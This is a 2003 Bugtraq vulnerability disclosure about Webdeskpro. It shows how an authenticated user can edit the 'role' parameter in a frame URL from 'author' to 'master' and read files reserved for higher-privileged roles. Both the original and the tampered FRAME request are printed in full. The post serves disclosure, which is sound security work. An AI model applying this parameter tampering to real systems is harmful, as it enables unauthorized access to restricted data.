bugtraq - Webdeskpro role modify vulnerability

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Date: 11 Aug 2003 07:24:57 -0000
From: CK <sangsang@...ker4u.org>
To: bugtraq@...urityfocus.com
Subject: Webdeskpro role modify vulnerability

Webdeskpro has 4 role authority levels- author, editor, administrator, 
master
We found a vulnerability in Webdeskpro UI. 
After login, if we modify some role variables as follows , we can read 
upper role level’s files.

Role Modification

<FRAME SRC="/iw/webdesk/teamsite/webdeskpro/webdeskpro%5floginparams.jsp?
cgi%5furl=/iw-bin/iwcgi.cgi/list%3fcache%255fcounter%3d1057308332186%26iw%
255fsession%
3d52616e646f6d49568abc54f9c2ffbf12d9c47429d545c48bbef8b0850cff4a954e682ef59
7690fd8a084e8d13858ea41%26path%3dnone%26role%3dauthor%26session%
3d52616e646f6d49568abc54f9c2ffbf12d9c47429d545c48bbef8b0850cff4a954e682ef59
7690fd8a084e8d13858ea41%26want%255fstart%255fmain%3dtrue&role=author" 
NAME="TopFrame" SCROLLING=no FRAMEBORDER="no" MARGINHEIGHT=1 MARGINWIDTH=1 
NORESIZE>

we can modify upper source as follows

<FRAME SRC="/iw/webdesk/teamsite/webdeskpro/webdeskpro%5floginparams.jsp?
cgi%5furl=/iw-bin/iwcgi.cgi/list%3fcache%255fcounter%3d1057308332186%26iw%
255fsession%
3d52616e646f6d49568abc54f9c2ffbf12d9c47429d545c48bbef8b0850cff4a954e682ef59
7690fd8a084e8d13858ea41%26path%3dnone%26role%3dmaster%26session%
3d52616e646f6d49568abc54f9c2ffbf12d9c47429d545c48bbef8b0850cff4a954e682ef59
7690fd8a084e8d13858ea41%26want%255fstart%255fmain%3dtrue&role=master" 
NAME="TopFrame" SCROLLING=no FRAMEBORDER="no" MARGINHEIGHT=1 MARGINWIDTH=1 
NORESIZE>